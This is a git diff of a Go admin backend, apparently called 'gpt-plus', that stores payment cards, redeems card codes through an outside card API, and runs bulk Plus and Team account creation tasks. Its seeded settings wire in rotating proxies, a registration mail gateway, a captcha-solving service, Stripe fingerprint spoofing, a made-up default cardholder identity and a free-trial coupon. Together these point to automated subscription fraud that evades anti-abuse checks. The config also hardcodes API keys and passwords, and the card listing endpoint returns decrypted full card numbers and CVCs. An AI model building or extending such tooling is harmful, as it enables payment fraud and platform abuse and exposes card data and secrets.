api.PUT("/cards/:id/status", UpdateCardStatus) + api.DELETE("/cards/:id", DeleteCard) + + // Card codes + api.GET("/card-codes", ListCardCodes) + api.GET("/card-codes/stats", GetCardCodeStats) + api.POST("/card-codes/import", ImportCardCodes) + api.POST("/card-codes/redeem", RedeemCardCode) + api.DELETE("/card-codes/:id", DeleteCardCode) +} + +func ListCards(c *gin.Context) { + d := db.GetDB() + query := d.Model(&db.Card{}).Order("created_at DESC") + + if status := c.Query("status"); status != "" { + query = query.Where("status = ?", status) + } + + p := db.PaginationParams{ + Page: intQuery(c, "page", 1), + Size: intQuery(c, "size", 20), + } + + var cards []db.Card + result, err := db.Paginate(query, p, &cards) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + + for i := range cards { + number, _ := db.Decrypt(cards[i].NumberEnc) + cards[i].NumberLast4 = number + cvc, _ := db.Decrypt(cards[i].CVCEnc) + cards[i].CVCPlain = cvc + } + result.Items = cards + c.JSON(http.StatusOK, result) +} + +func GetActiveCard(c *gin.Context) { + d := db.GetDB() + var card db.Card + if err := d.Where("status = ?", "active").First(&card).Error; err != nil { + c.JSON(http.StatusNotFound, gin.H{"error": "无激活的卡片"}) + return + } + number, _ := db.Decrypt(card.NumberEnc) + card.NumberLast4 = number + cvc, _ := db.Decrypt(card.CVCEnc) + card.CVCPlain = cvc + c.JSON(http.StatusOK, card) +} + +func GetCardStats(c *gin.Context) { + c.JSON(http.StatusOK, db.GetCardStats(db.GetDB())) +} + +type addCardRequest struct { + Number string `json:"number" binding:"required"` + CVC string `json:"cvc" binding:"required"` + ExpMonth string `json:"exp_month" binding:"required"` + ExpYear string `json:"exp_year" binding:"required"` + Name string `json:"name"` + Country string `json:"country"` +} + +func AddCard(c *gin.Context) { + var req addCardRequest + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + numberEnc, _ := db.Encrypt(req.Number) + cvcEnc, _ := db.Encrypt(req.CVC) + + maxBinds := 0 // 0 = unlimited + var cfg db.SystemConfig + if db.GetDB().Where("key = ?", "card.max_binds").First(&cfg).Error == nil { + maxBinds, _ = strconv.Atoi(cfg.Value) + } + + card := &db.Card{ + NumberHash: db.HashSHA256(req.Number), + NumberEnc: numberEnc, + CVCEnc: cvcEnc, + ExpMonth: req.ExpMonth, + ExpYear: req.ExpYear, + Name: req.Name, + Country: req.Country, + Source: "manual", + Status: "available", + MaxBinds: maxBinds, + } + + if err := db.GetDB().Create(card).Error; err != nil { + if strings.Contains(err.Error(), "UNIQUE") { + c.JSON(http.StatusConflict, gin.H{"error": "该卡号已存在"}) + return + } + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusCreated, gin.H{"id": card.ID, "message": "卡片已添加"}) +} + +func ActivateCard(c *gin.Context) { + id := c.Param("id") + d := db.GetDB() + + // Deactivate current active card + d.Model(&db.Card{}).Where("status = ?", "active").Update("status", "available") + + var card db.Card + if err := d.First(&card, id).Error; err != nil { + c.JSON(http.StatusNotFound, gin.H{"error": "卡片不存在"}) + return + } + card.Status = "active" + d.Save(&card) + c.JSON(http.StatusOK, gin.H{"message": "已激活"}) +} + +func UpdateCardStatus(c *gin.Context) { + id := c.Param("id") + var req struct { + Status string `json:"status" binding:"required"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + if req.Status != "disabled" && req.Status != "available" { + c.JSON(http.StatusBadRequest, gin.H{"error": "状态只能为 disabled 或 available"}) + return + } + if err := db.GetDB().Model(&db.Card{}).Where("id = ?", id).Update("status", req.Status).Error; err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "状态已更新"}) +} + +func DeleteCard(c *gin.Context) { + if err := db.GetDB().Delete(&db.Card{}, c.Param("id")).Error; err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "已删除"}) +} + +// Card Codes + +func ListCardCodes(c *gin.Context) { + d := db.GetDB() + query := d.Model(&db.CardCode{}).Order("created_at DESC") + if status := c.Query("status"); status != "" { + query = query.Where("status = ?", status) + } + p := db.PaginationParams{Page: intQuery(c, "page", 1), Size: intQuery(c, "size", 20)} + var codes []db.CardCode + result, err := db.Paginate(query, p, &codes) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, result) +} + +func GetCardCodeStats(c *gin.Context) { + c.JSON(http.StatusOK, db.GetCardCodeStats(db.GetDB())) +} + +func ImportCardCodes(c *gin.Context) { + var req struct { + Codes []string `json:"codes" binding:"required"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + d := db.GetDB() + var count int + for _, code := range req.Codes { + code = strings.TrimSpace(code) + if code == "" { + continue + } + cc := &db.CardCode{Code: code, Status: "unused"} + if d.Create(cc).Error == nil { + count++ + } + } + c.JSON(http.StatusOK, gin.H{"imported": count}) +} + +func RedeemCardCode(c *gin.Context) { + var req struct { + ID uint `json:"id"` + } + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + d := db.GetDB() + var code db.CardCode + if err := d.First(&code, req.ID).Error; err != nil { + c.JSON(http.StatusNotFound, gin.H{"error": "卡密不存在"}) + return + } + if code.Status != "unused" { + c.JSON(http.StatusBadRequest, gin.H{"error": "该卡密状态不是 unused"}) + return + } + + code.Status = "redeeming" + d.Save(&code) + + // Redeem in background + go func() { + var cfgBase db.SystemConfig + apiBase := "" + if db.GetDB().Where("key = ?", "card.api_base_url").First(&cfgBase).Error == nil { + apiBase = cfgBase.Value + } + if apiBase == "" { + code.Status = "failed" + code.Error = "开卡 API 地址未配置" + d.Save(&code) + return + } + + apiProv, err := card.NewAPIProvider(card.APIProviderConfig{ + BaseURL: apiBase, + Codes: []string{code.Code}, + PoolCfg: card.PoolConfig{MultiBind: true, MaxBinds: 999}, + }) + if err != nil { + code.Status = "failed" + code.Error = err.Error() + d.Save(&code) + return + } + + cardInfo, err := apiProv.GetCard(context.Background()) + if err != nil { + code.Status = "failed" + code.Error = err.Error() + d.Save(&code) + return + } + + numberEnc, _ := db.Encrypt(cardInfo.Number) + cvcEnc, _ := db.Encrypt(cardInfo.CVC) + newCard := &db.Card{ + NumberHash: db.HashSHA256(cardInfo.Number), + NumberEnc: numberEnc, + CVCEnc: cvcEnc, + ExpMonth: cardInfo.ExpMonth, + ExpYear: cardInfo.ExpYear, + Name: cardInfo.Name, + Country: cardInfo.Country, + Source: "api", + CardCodeID: &code.ID, + Status: "available", + MaxBinds: 1, + } + d.Create(newCard) + + now := time.Now() + code.Status = "redeemed" + code.CardID = &newCard.ID + code.RedeemedAt = &now + d.Save(&code) + }() + + c.JSON(http.StatusOK, gin.H{"message": "兑换已开始"}) +} + +func DeleteCardCode(c *gin.Context) { + if err := db.GetDB().Delete(&db.CardCode{}, c.Param("id")).Error; err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, gin.H{"message": "已删除"}) +} + +func intQuery(c *gin.Context, key string, def int) int { + v := c.Query(key) + if v == "" { + return def + } + n, err := strconv.Atoi(v) + if err != nil { + return def + } + return n +} diff --git a/internal/handler/config.go b/internal/handler/config.go new file mode 100644 index 0000000..363fd38 --- /dev/null +++ b/internal/handler/config.go @@ -0,0 +1,154 @@ +package handler + +import ( + "net/http" + + "gpt-plus/internal/db" + + "github.com/gin-gonic/gin" +) + +type configGroup struct { + Group string `json:"group"` + Items []db.SystemConfig `json:"items"` +} + +func GetConfig(c *gin.Context) { + var configs []db.SystemConfig + if err := db.GetDB().Order("\"group\", key").Find(&configs).Error; err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + + // Mask password fields + for i := range configs { + if configs[i].Type == "password" && configs[i].Value != "" { + configs[i].Value = "••••••••" + } + } + + groups := make(map[string][]db.SystemConfig) + for _, cfg := range configs { + groups[cfg.Group] = append(groups[cfg.Group], cfg) + } + c.JSON(http.StatusOK, gin.H{"groups": groups}) +} + +type updateConfigRequest struct { + Items []struct { + Key string `json:"key" binding:"required"` + Value string `json:"value"` + } `json:"items" binding:"required"` +} + +func UpdateConfig(c *gin.Context) { + var req updateConfigRequest + if err := c.ShouldBindJSON(&req); err != nil { + c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) + return + } + + tx := db.GetDB().Begin() + for _, item := range req.Items { + // Skip masked password values + if item.Value == "••••••••" { + continue + } + + var existing db.SystemConfig + if err := tx.Where("key = ?", item.Key).First(&existing).Error; err != nil { + tx.Rollback() + c.JSON(http.StatusNotFound, gin.H{"error": "配置项不存在: " + item.Key}) + return + } + + value := item.Value + if existing.Type == "password" && value != "" { + encrypted, err := db.Encrypt(value) + if err != nil { + tx.Rollback() + c.JSON(http.StatusInternalServerError, gin.H{"error": "加密失败"}) + return + } + value = encrypted + } + + if err := tx.Model(&existing).Update("value", value).Error; err != nil { + tx.Rollback() + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + } + tx.Commit() + c.JSON(http.StatusOK, gin.H{"message": "配置已更新"}) +} + +func SeedDefaultConfigs() { + defaults := []db.SystemConfig{ + // Proxy group + {Key: "proxy.mode", Value: "b2proxy", Group: "proxy", Label: "代理模式", Type: "string"}, + {Key: "proxy.url", Value: "", Group: "proxy", Label: "代理地址", Type: "string"}, + {Key: "proxy.b2proxy.enabled", Value: "true", Group: "proxy", Label: "启用 B2Proxy", Type: "bool"}, + {Key: "proxy.b2proxy.api_base", Value: "http://global.rrp.b2proxy.com:8089", Group: "proxy", Label: "B2Proxy API 地址", Type: "string"}, + {Key: "proxy.b2proxy.zone", Value: "custom", Group: "proxy", Label: "B2Proxy 区域", Type: "string"}, + {Key: "proxy.b2proxy.proto", Value: "socks5", Group: "proxy", Label: "B2Proxy 协议", Type: "string"}, + {Key: "proxy.b2proxy.sess_time", Value: "5", Group: "proxy", Label: "会话时长(分钟)", Type: "int"}, + + // Email group + {Key: "email.gateway.base_url", Value: "https://regmail.zhengmi.org", Group: "email", Label: "邮箱网关地址", Type: "string"}, + {Key: "email.gateway.api_key", Value: "Admin2026.", Group: "email", Label: "邮箱网关 API Key", Type: "password"}, + {Key: "email.gateway.provider", Value: "mail", Group: "email", Label: "邮箱网关 Provider", Type: "string"}, + + // Card group + {Key: "card.max_binds", Value: "0", Group: "card", Label: "单卡最大绑定次数(0=无限)", Type: "int"}, + {Key: "card.default_name", Value: "Anna Hoover", Group: "card", Label: "默认持卡人姓名", Type: "string"}, + {Key: "card.default_country", Value: "US", Group: "card", Label: "默认国家", Type: "string"}, + {Key: "card.default_currency", Value: "USD", Group: "card", Label: "默认货币", Type: "string"}, + {Key: "card.default_address", Value: "1208 Oakdale Street", Group: "card", Label: "默认地址", Type: "string"}, + {Key: "card.default_city", Value: "Jonesboro", Group: "card", Label: "默认城市", Type: "string"}, + {Key: "card.default_state", Value: "AR", Group: "card", Label: "默认州/省", Type: "string"}, + {Key: "card.default_postal_code", Value: "72401", Group: "card", Label: "默认邮编", Type: "string"}, + {Key: "card.api_base_url", Value: "https://yyl.ncet.top", Group: "card", Label: "开卡 API 地址", Type: "string"}, + {Key: "card.api_key", Value: "", Group: "card", Label: "开卡 API 密钥", Type: "password"}, + + // Stripe group + {Key: "stripe.build_hash", Value: "ede17ac9fd", Group: "stripe", Label: "Build Hash", Type: "string"}, + {Key: "stripe.tag_version", Value: "4.5.43", Group: "stripe", Label: "Tag Version", Type: "string"}, + {Key: "stripe.fingerprint_dir", Value: "./fingerprints", Group: "stripe", Label: "指纹目录", Type: "string"}, + + // Captcha group + {Key: "captcha.provider", Value: "hcaptchasolver", Group: "captcha", Label: "验证码提供商", Type: "string"}, + {Key: "captcha.api_key", Value: "Kenzx_4ba2535aaf33bd1238345f795a085853ace94e54ade70a2a", Group: "captcha", Label: "验证码 API Key", Type: "password"}, + {Key: "captcha.proxy", Value: "", Group: "captcha", Label: "验证码代理", Type: "string"}, + + // Account group + {Key: "account.password_length", Value: "16", Group: "account", Label: "密码长度", Type: "int"}, + {Key: "account.locale", Value: "en-GB", Group: "account", Label: "区域设置", Type: "string"}, + + // Team group + {Key: "team.enabled", Value: "true", Group: "team", Label: "启用 Team", Type: "bool"}, + {Key: "team.workspace_prefix", Value: "Team", Group: "team", Label: "工作区前缀", Type: "string"}, + {Key: "team.seat_quantity", Value: "5", Group: "team", Label: "座位数", Type: "int"}, + {Key: "team.coupon", Value: "team-1-month-free", Group: "team", Label: "优惠券", Type: "string"}, + {Key: "team.invite_count", Value: "0", Group: "team", Label: "邀请人数", Type: "int"}, + + // CPA (CLI Proxy API) group + {Key: "cpa.base_url", Value: "http://127.0.0.1:8317", Group: "cpa", Label: "CPA 地址", Type: "string"}, + {Key: "cpa.management_key", Value: "gptplus2026", Group: "cpa", Label: "Management Key", Type: "password"}, + } + + d := db.GetDB() + for _, cfg := range defaults { + var existing db.SystemConfig + res := d.Where("key = ?", cfg.Key).First(&existing) + if res.Error != nil { + d.Create(&cfg) + } else if existing.Value == "" && cfg.Value != "" { + d.Model(&existing).Updates(map[string]interface{}{ + "value": cfg.Value, + "label": cfg.Label, + "type": cfg.Type, + }) + } + } +} diff --git a/internal/handler/dashboard.go b/internal/handler/dashboard.go new file mode 100644 index 0000000..ebd5e2b --- /dev/null +++ b/internal/handler/dashboard.go @@ -0,0 +1,18 @@ +package handler + +import ( + "net/http" + + "gpt-plus/internal/db" + + "github.com/gin-gonic/gin" +) + +func GetDashboard(c *gin.Context) { + stats, err := db.GetDashboardStats(db.GetDB()) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, stats) +} diff --git a/internal/handler/email_record.go b/internal/handler/email_record.go new file mode 100644 index 0000000..0ae4cf1 --- /dev/null +++ b/internal/handler/email_record.go @@ -0,0 +1,40 @@ +package handler + +import ( + "net/http" + + "gpt-plus/internal/db" + + "github.com/gin-gonic/gin" +) + +func RegisterEmailRecordRoutes(api *gin.RouterGroup) { + api.GET("/email-records", ListEmailRecords) + api.GET("/email-records/stats", GetEmailRecordStats) +} + +func ListEmailRecords(c *gin.Context) { + d := db.GetDB() + query := d.Model(&db.EmailRecord{}).Order("created_at DESC") + + if status := c.Query("status"); status != "" { + query = query.Where("status = ?", status) + } + + p := db.PaginationParams{ + Page: intQuery(c, "page", 1), + Size: intQuery(c, "size", 20), + } + + var records []db.EmailRecord + result, err := db.Paginate(query, p, &records) + if err != nil { + c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) + return + } + c.JSON(http.StatusOK, result) +} + +func GetEmailRecordStats(c *gin.Context) { + c.JSON(http.StatusOK, db.GetEmailRecordStats(db.GetDB())) +} diff --git a/internal/handler/handler_test.go b/internal/handler/handler_test.go new file mode 100644 index 0000000..187757c --- /dev/null +++ b/internal/handler/handler_test.go @@ -0,0 +1,518 @@ +package handler + +import ( + "bytes" + "encoding/json" + "fmt" + "net/http" + "time" + "net/http/httptest" + "os" + "testing" + + "gpt-plus/internal/db" + + "github.com/glebarez/sqlite" + "github.com/gin-gonic/gin" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func init() { + gin.SetMode(gin.TestMode) +} + +func setupTestEnv(t *testing.T) *gorm.DB { + t.Helper() + d, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{ + Logger: logger.Default.LogMode(logger.Silent), + }) + if err != nil { + t.Fatalf("open test db: %v", err) + } + if err := d.AutoMigrate( + &db.SystemConfig{}, &db.EmailRecord{}, &db.Task{}, &db.TaskLog{}, + &db.CardCode{}, &db.Card{}, &db.Account{}, + ); err != nil { + t.Fatalf("migrate: %v", err) + } + db.DB = d + + SetJWTSecret("test-secret-key") + os.Setenv("ADMIN_PASSWORD", "testpass") + if err := InitAdminPassword(); err != nil { + t.Fatalf("init password: %v", err) + } + + // Reset rate limiter between tests + loginLimiter.mu.Lock() + loginLimiter.attempts = make(map[string][]time.Time) + loginLimiter.mu.Unlock() + + return d +} + +func jsonReq(method, path string, body interface{}) *http.Request { + var buf bytes.Buffer + if body != nil { + json.NewEncoder(&buf).Encode(body) + } + req := httptest.NewRequest(method, path, &buf) + req.Header.Set("Content-Type", "application/json") + return req +} + +func doRequest(r *gin.Engine, req *http.Request) *httptest.ResponseRecorder { + w := httptest.NewRecorder() + r.ServeHTTP(w, req) + return w +} + +func loginAndGetCookie(t *testing.T, r *gin.Engine) *http.Cookie { + t.Helper() + req := jsonReq("POST", "/api/login", map[string]string{"password": "testpass"}) + w := doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("login failed: %d %s", w.Code, w.Body.String()) + } + for _, c := range w.Result().Cookies() { + if c.Name == "token" { + return c + } + } + t.Fatal("no token cookie in login response") + return nil +} + +func authedReq(method, path string, body interface{}, cookie *http.Cookie) *http.Request { + req := jsonReq(method, path, body) + req.AddCookie(cookie) + return req +} + +// --- Auth tests --- + +func TestLoginSuccess(t *testing.T) { + setupTestEnv(t) + r := SetupRouter(false) + + req := jsonReq("POST", "/api/login", map[string]string{"password": "testpass"}) + w := doRequest(r, req) + + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want 200", w.Code) + } + + var resp map[string]string + json.Unmarshal(w.Body.Bytes(), &resp) + if resp["message"] != "登录成功" { + t.Fatalf("message = %q", resp["message"]) + } + + found := false + for _, c := range w.Result().Cookies() { + if c.Name == "token" && c.HttpOnly { + found = true + } + } + if !found { + t.Fatal("no httpOnly token cookie set") + } +} + +func TestLoginWrongPassword(t *testing.T) { + setupTestEnv(t) + r := SetupRouter(false) + + req := jsonReq("POST", "/api/login", map[string]string{"password": "wrong"}) + w := doRequest(r, req) + + if w.Code != http.StatusUnauthorized { + t.Fatalf("status = %d, want 401", w.Code) + } +} + +func TestLoginEmptyPassword(t *testing.T) { + setupTestEnv(t) + r := SetupRouter(false) + + req := jsonReq("POST", "/api/login", map[string]string{}) + w := doRequest(r, req) + + if w.Code != http.StatusBadRequest { + t.Fatalf("status = %d, want 400", w.Code) + } +} + +func TestLogout(t *testing.T) { + setupTestEnv(t) + r := SetupRouter(false) + + req := jsonReq("POST", "/api/logout", nil) + w := doRequest(r, req) + + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want 200", w.Code) + } + for _, c := range w.Result().Cookies() { + if c.Name == "token" && c.MaxAge < 0 { + return + } + } + t.Fatal("token cookie not cleared") +} + +func TestAuthMiddlewareRejectsUnauthenticated(t *testing.T) { + setupTestEnv(t) + r := SetupRouter(false) + + req := jsonReq("GET", "/api/config", nil) + w := doRequest(r, req) + + if w.Code != http.StatusUnauthorized { + t.Fatalf("status = %d, want 401", w.Code) + } +} + +func TestAuthMiddlewareAcceptsValidToken(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + req := authedReq("GET", "/api/auth/check", nil, cookie) + w := doRequest(r, req) + + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want 200", w.Code) + } +} + +// --- Config tests --- + +func TestGetConfig(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + req := authedReq("GET", "/api/config", nil, cookie) + w := doRequest(r, req) + + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want 200, body: %s", w.Code, w.Body.String()) + } + var resp struct { + Groups map[string][]db.SystemConfig `json:"groups"` + } + json.Unmarshal(w.Body.Bytes(), &resp) + if len(resp.Groups) == 0 { + t.Fatal("expected non-empty config groups") + } + if _, ok := resp.Groups["proxy"]; !ok { + t.Fatal("expected proxy group") + } +} + +func TestUpdateConfig(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + body := map[string]interface{}{ + "items": []map[string]string{ + {"key": "proxy.url", "value": "socks5://1.2.3.4:1080"}, + }, + } + req := authedReq("PUT", "/api/config", body, cookie) + w := doRequest(r, req) + + if w.Code != http.StatusOK { + t.Fatalf("status = %d, want 200, body: %s", w.Code, w.Body.String()) + } + + var cfg db.SystemConfig + db.GetDB().Where("key = ?", "proxy.url").First(&cfg) + if cfg.Value != "socks5://1.2.3.4:1080" { + t.Fatalf("config value = %q, want socks5://1.2.3.4:1080", cfg.Value) + } +} + +// --- Card tests --- + +func TestCardCRUD(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + // Add card + body := map[string]string{ + "number": "4242424242424242", "cvc": "123", + "exp_month": "12", "exp_year": "2030", "country": "US", + } + req := authedReq("POST", "/api/cards", body, cookie) + w := doRequest(r, req) + if w.Code != http.StatusCreated { + t.Fatalf("add card: status = %d, body: %s", w.Code, w.Body.String()) + } + + // List cards + req = authedReq("GET", "/api/cards", nil, cookie) + w = doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("list cards: status = %d", w.Code) + } + var listResp struct { + Items []db.Card `json:"items"` + Total int64 `json:"total"` + } + json.Unmarshal(w.Body.Bytes(), &listResp) + if listResp.Total != 1 { + t.Fatalf("total = %d, want 1", listResp.Total) + } + if listResp.Items[0].NumberLast4 != "4242" { + t.Fatalf("last4 = %q, want 4242", listResp.Items[0].NumberLast4) + } + + // Stats + req = authedReq("GET", "/api/cards/stats", nil, cookie) + w = doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("card stats: status = %d", w.Code) + } + + // Delete + cardID := listResp.Items[0].ID + req = authedReq("DELETE", "/api/cards/"+itoa(cardID), nil, cookie) + w = doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("delete card: status = %d", w.Code) + } +} + +func TestCardDuplicate(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + body := map[string]string{ + "number": "5555555555554444", "cvc": "321", + "exp_month": "06", "exp_year": "2029", "country": "JP", + } + req := authedReq("POST", "/api/cards", body, cookie) + doRequest(r, req) // first + + req = authedReq("POST", "/api/cards", body, cookie) + w := doRequest(r, req) // duplicate + if w.Code != http.StatusConflict { + t.Fatalf("duplicate card: status = %d, want 409", w.Code) + } +} + +// --- Card Code tests --- + +func TestCardCodeImport(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + body := map[string]interface{}{ + "codes": []string{"CODE-001", "CODE-002", "CODE-003"}, + } + req := authedReq("POST", "/api/card-codes/import", body, cookie) + w := doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("import: status = %d, body: %s", w.Code, w.Body.String()) + } + var resp map[string]int + json.Unmarshal(w.Body.Bytes(), &resp) + if resp["imported"] != 3 { + t.Fatalf("imported = %d, want 3", resp["imported"]) + } + + // Stats + req = authedReq("GET", "/api/card-codes/stats", nil, cookie) + w = doRequest(r, req) + var stats db.CardCodeStats + json.Unmarshal(w.Body.Bytes(), &stats) + if stats.Unused != 3 { + t.Fatalf("unused = %d, want 3", stats.Unused) + } +} + +// --- Dashboard test --- + +func TestDashboard(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + req := authedReq("GET", "/api/dashboard", nil, cookie) + w := doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("dashboard: status = %d, body: %s", w.Code, w.Body.String()) + } +} + +// --- Email record tests --- + +func TestEmailRecordStats(t *testing.T) { + d := setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + d.Create(&db.EmailRecord{Email: "a@test.com", Status: "used"}) + d.Create(&db.EmailRecord{Email: "b@test.com", Status: "used_failed"}) + + req := authedReq("GET", "/api/email-records/stats", nil, cookie) + w := doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("status = %d", w.Code) + } + var stats db.EmailRecordStats + json.Unmarshal(w.Body.Bytes(), &stats) + if stats.Total != 2 || stats.Used != 1 || stats.UsedFailed != 1 { + t.Fatalf("stats = %+v", stats) + } +} + +// --- Account tests --- + +func TestAccountListAndDetail(t *testing.T) { + d := setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + d.Create(&db.Account{Email: "plus@test.com", Plan: "plus", Status: "active", AccountID: "acc-1"}) + owner := db.Account{Email: "team@test.com", Plan: "team_owner", Status: "active", AccountID: "acc-2"} + d.Create(&owner) + d.Create(&db.Account{Email: "m1@test.com", Plan: "team_member", Status: "active", ParentID: &owner.ID}) + + // List (should only show plus + team_owner) + req := authedReq("GET", "/api/accounts", nil, cookie) + w := doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("status = %d", w.Code) + } + var listResp struct { + Items []db.Account `json:"items"` + Total int64 `json:"total"` + } + json.Unmarshal(w.Body.Bytes(), &listResp) + if listResp.Total != 2 { + t.Fatalf("total = %d, want 2 (team_member hidden)", listResp.Total) + } + + // Detail with sub-accounts + req = authedReq("GET", "/api/accounts/"+itoa(owner.ID), nil, cookie) + w = doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("detail status = %d", w.Code) + } + var detail db.Account + json.Unmarshal(w.Body.Bytes(), &detail) + if len(detail.SubAccounts) != 1 { + t.Fatalf("sub_accounts = %d, want 1", len(detail.SubAccounts)) + } +} + +func TestAccountUpdateNote(t *testing.T) { + d := setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + d.Create(&db.Account{Email: "note@test.com", Plan: "plus", Status: "active"}) + + req := authedReq("PUT", "/api/accounts/1/note", map[string]string{"note": "VIP"}, cookie) + w := doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("status = %d", w.Code) + } + + var acct db.Account + d.First(&acct, 1) + if acct.Note != "VIP" { + t.Fatalf("note = %q, want VIP", acct.Note) + } +} + +func TestAccountSearch(t *testing.T) { + d := setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + d.Create(&db.Account{Email: "alice@test.com", Plan: "plus", Status: "active"}) + d.Create(&db.Account{Email: "bob@test.com", Plan: "plus", Status: "active"}) + + req := authedReq("GET", "/api/accounts?search=alice", nil, cookie) + w := doRequest(r, req) + var resp struct { + Total int64 `json:"total"` + } + json.Unmarshal(w.Body.Bytes(), &resp) + if resp.Total != 1 { + t.Fatalf("search total = %d, want 1", resp.Total) + } +} + +// --- Task tests --- + +func TestTaskCreateAndList(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + body := map[string]interface{}{"type": "plus", "count": 5} + req := authedReq("POST", "/api/tasks", body, cookie) + w := doRequest(r, req) + if w.Code != http.StatusCreated { + t.Fatalf("create task: status = %d, body: %s", w.Code, w.Body.String()) + } + var created db.Task + json.Unmarshal(w.Body.Bytes(), &created) + if created.ID == "" || created.Status != "pending" || created.TotalCount != 5 { + t.Fatalf("created = %+v", created) + } + + // List + req = authedReq("GET", "/api/tasks", nil, cookie) + w = doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("list: status = %d", w.Code) + } + + // Delete + req = authedReq("DELETE", "/api/tasks/"+created.ID, nil, cookie) + w = doRequest(r, req) + if w.Code != http.StatusOK { + t.Fatalf("delete: status = %d, body: %s", w.Code, w.Body.String()) + } +} + +func TestTaskCreateInvalidType(t *testing.T) { + setupTestEnv(t) + SeedDefaultConfigs() + r := SetupRouter(false) + cookie := loginAndGetCookie(t, r) + + body := map[string]interface{}{"type": "invalid", "count": 1} + req := authedReq("POST", "/api/tasks", body, cookie) + w := doRequest(r, req) + if w.Code != http.StatusBadRequest { + t.Fatalf("status = %d, want 400", w.Code) + } +} + +func itoa(n uint) string { + return fmt.Sprintf("%d", n) +} diff --git a/internal/handler/middleware.go b/internal/handler/middleware.go new file mode 100644 index 0000000..ae46279 --- /dev/null +++ b/internal/handler/middleware.go @@ -0,0 +1,84 @@ +package handler + +import ( + "net/http" + "os" + "sync" + "time" + + "github.com/gin-gonic/gin" + "github.com/golang-jwt/jwt/v5" +) + +var jwtSecret []byte + +func SetJWTSecret(secret string) { + jwtSecret = []byte(secret) +} + +func GenerateToken() (string, error) { + claims := jwt.MapClaims{ + "role": "admin", + "exp": time.Now().Add(24 * time.Hour).Unix(), + "iat": time.Now().Unix(), + } + token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) + return token.SignedString(jwtSecret) +} + +func AuthMiddleware() gin.HandlerFunc { + return func(c *gin.Context) { + tokenStr, err := c.Cookie("token") + if err != nil || tokenStr == "" { + c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "未登录"}) + return + } + token, err := jwt.Parse(tokenStr, func(t *jwt.Token) (interface{}, error) { + return jwtSecret, nil + }) + if err != nil || !token.Valid { + c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "令牌无效或已过期"}) + return + } + c.Next() + } +} + +// Rate limiter for login endpoint: 5 attempts per minute per IP +type rateLimiter struct { + mu sync.Mutex + attempts map[string][]time.Time +} + +var loginLimiter = &rateLimiter{attempts: make(map[string][]time.Time)} + +func LoginRateLimitMiddleware() gin.HandlerFunc { + return func(c *gin.Context) { + ip := c.ClientIP() + loginLimiter.mu.Lock() + defer loginLimiter.mu.Unlock() + + now := time.Now() + window := now.Add(-1 * time.Minute) + 